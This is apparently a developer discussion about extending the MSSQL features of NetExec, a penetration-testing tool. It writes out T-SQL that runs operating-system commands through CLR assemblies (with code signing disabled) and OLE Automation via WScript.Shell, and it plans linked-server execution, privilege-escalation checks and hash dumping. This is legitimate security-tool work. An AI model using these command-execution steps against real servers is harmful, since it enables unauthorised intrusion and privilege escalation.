Reworking part of the MSSQL protocol

[Dfte]

Ayo, here are a few things I'd like to do for the MSSQL protocol but I wanted to have advices about it.

Host enumeration

I believe it would be usefull to print the database version and name. This was proposed before but I think we forgot to merge it so I already opened a PR for that.

Execution method

MSSQL allows running the xp_cmdshell procedure we all know but there are two others ways you can execute command remotely:

• CLE execution

-- Activate CLR
sp_configure 'clr enabled', 1;
RECONFIGURE;

-- Deactivate code signing
sp_configure 'clr strict security', 0;
RECONFIGURE;

-- Create an assembly from the binary
CREATE ASSEMBLY my_assembly FROM 'C:\path\to\assembly.dll' WITH PERMISSION_SET = UNSAFE;

-- It's also possible to add it from hexadecimal value
CREATE ASSEMBLY my_assembly FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;

-- Create a stored procedure to execute the assembly
CREATE PROCEDURE clr_exec AS EXTERNAL NAME my_assembly.[Namespace.ClassName].MethodName;

-- Execute
EXEC clr_exec;

-- Clean (not implemented)

• Ole Procdure:

--Activate the Ole Automation Procedures
sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

-- Exec via WScript.Shell
DECLARE @shell INT;
EXEC sp_oacreate 'WScript.Shell', @shell OUT;
EXEC sp_oamethod @shell, 'Run', NULL, 'cmd.exe /c whoami > C:\out.txt';
EXEC sp_oadestroy @shell;

-- Read the output file if requested
DECLARE @fso INT, @file INT, @line VARCHAR(8000);
EXEC sp_oacreate 'Scripting.FileSystemObject', @fso OUT;
EXEC sp_oamethod @fso, 'OpenTextFile', @file OUT, 'C:\out.txt', 1;
EXEC sp_oamethod @file, 'ReadLine', @line OUT;
SELECT @line;

Linked servers

So far we have modules to run queries on linked server. Considering it only adds:

AT LINKED_SERVER;

To the original query, I was wondering whether we shouldn't just add a core option --linked-server which allows specifying a linked server to execute the query on. Internally NXC would compute the correct query and execute it. That would give us something like:

nxc mssql IP -u USER -p PASS -x whoami --on-linked-server SERVER

This implies being able to list linked servers. For the moment it's in a module that I'd rather have as a core option. Something like:

nxc mssql IP -u USER -p PASS -x whoami --list-linked-servers

Privileges and privesc

We have multiple modules that can be used to enumerate privilegies and privesc:

• enum_impersonate
• mssql_priv

While these are already greats, I'd rather have a core option that runs a simple SQL query allowing retrieving all misconfiguration that could be used by an attacker with an account.

nxc mssql IP -u USER -p PASS -x whoami --privilegies

Note that we'll have to add support for a few others things such as, for exampke, xp_cmdshell proxy account allowing running commands even without having sysadmin rights. Because for the moment we only check if the user is in the sysadmin group but if the proxy account exeists, then all these protocols can be used as well: empire_exec, met_inject, web_delivery as well as standard -x.

Pure SQL things

So far we have a --database option allowing listing databases. I'd move that to the --list-databases. And keep --database to select a database to which we can then --list-tables to list the tables of the DB. Then we can even add a --database DB --dump-table TABLE_NAME and so on.

Other things

I or someone else have a already opened a few PR's allowing to:

• Dump local databases hashes
• List database backups and where they are stored
• add the reg-query part for mssql
• add the EPA check via reg read first or CBT manipulation if the first method fails
• Add the SQL browser detection to detect instances not listening on a TCP port (or at least not 1433)

These are pretty much the things I want to integrate to NXC MSSQL because I believe that would make this protocol much more powerful and easier to use.

Let me know! :)

[NeffIsBack]

My 2 cents:

I believe it would be usefull to print the database version and name. This was proposed before but I think we forgot to merge it so I already opened a PR for that.

Imo nice, we just have to make sure that the host banner doesn't get excessively long.

MSSQL allows running the xp_cmdshell procedure we all know but there are two others ways you can execute command remotely

Let's add them :D more exec_methods -> better

To the original query, I was wondering whether we shouldn't just add a core option --linked-server which allows specifying a linked server to execute the query on. Internally NXC would compute the correct query and execute it. That would give us something like:

nxc mssql IP -u USER -p PASS -x whoami --on-linked-server SERVER

This implies being able to list linked servers. For the moment it's in a module that I'd rather have as a core option. Something like:

nxc mssql IP -u USER -p PASS -x whoami --list-linked-servers

To keep things simple, imo we should add something similar to other flags: --linked-server lists existing linked servers. --linked-server <SERVER_NAME> manipulates the query so we execute on the specified server.
TLDR; just merge it into one option similar to smb's --users/--groups or mssql's --database flags

We have multiple modules that can be used to enumerate privilegies and privesc:

• enum_impersonate
• mssql_priv

While these are already greats, I'd rather have a core option that runs a simple SQL query allowing retrieving all misconfiguration that could be used by an attacker with an account.

nxc mssql IP -u USER -p PASS -x whoami --privilegies

While having multiple modules doing the same or similar things is definitely bad, I would prefer having something where you can:

1. Check for misconfigured privileges
2. Exploit these privileges to become database/system admin
3. Revert the exploitation to bring back the original state of the system

I don't see how you would do that cleanly with just proto flags, so imo this is still a good opportunity for a module.

So far we have a --database option allowing listing databases. I'd move that to the --list-databases. And keep --database to select a database to which we can then --list-tables to list the tables of the DB. Then we can even add a --database DB --dump-table TABLE_NAME and so on.

I definitely agree on adding the "s" to --database (i mistype it every. single. time), but I don't really see why we should split it into two flags. So far we have a bunch of flags that just work like that: without an arg it lists all available content (users, groups, databases etc.), specifying one of these gives you more detail about your object.

Imo adding a --table or even --dump-table that then dumps the contents of the table would be nice tho.

I or someone else have a already opened a few PR's allowing to:

• Dump local databases hashes
• List database backups and where they are stored
• add the reg-query part for mssql
• add the EPA check via reg read first or CBT manipulation if the first method fails
• Add the SQL browser detection to detect instances not listening on a TCP port (or at least not 1433)

• Awesome
• Awesome
• Awesome
• Awesome
• Awesome

:D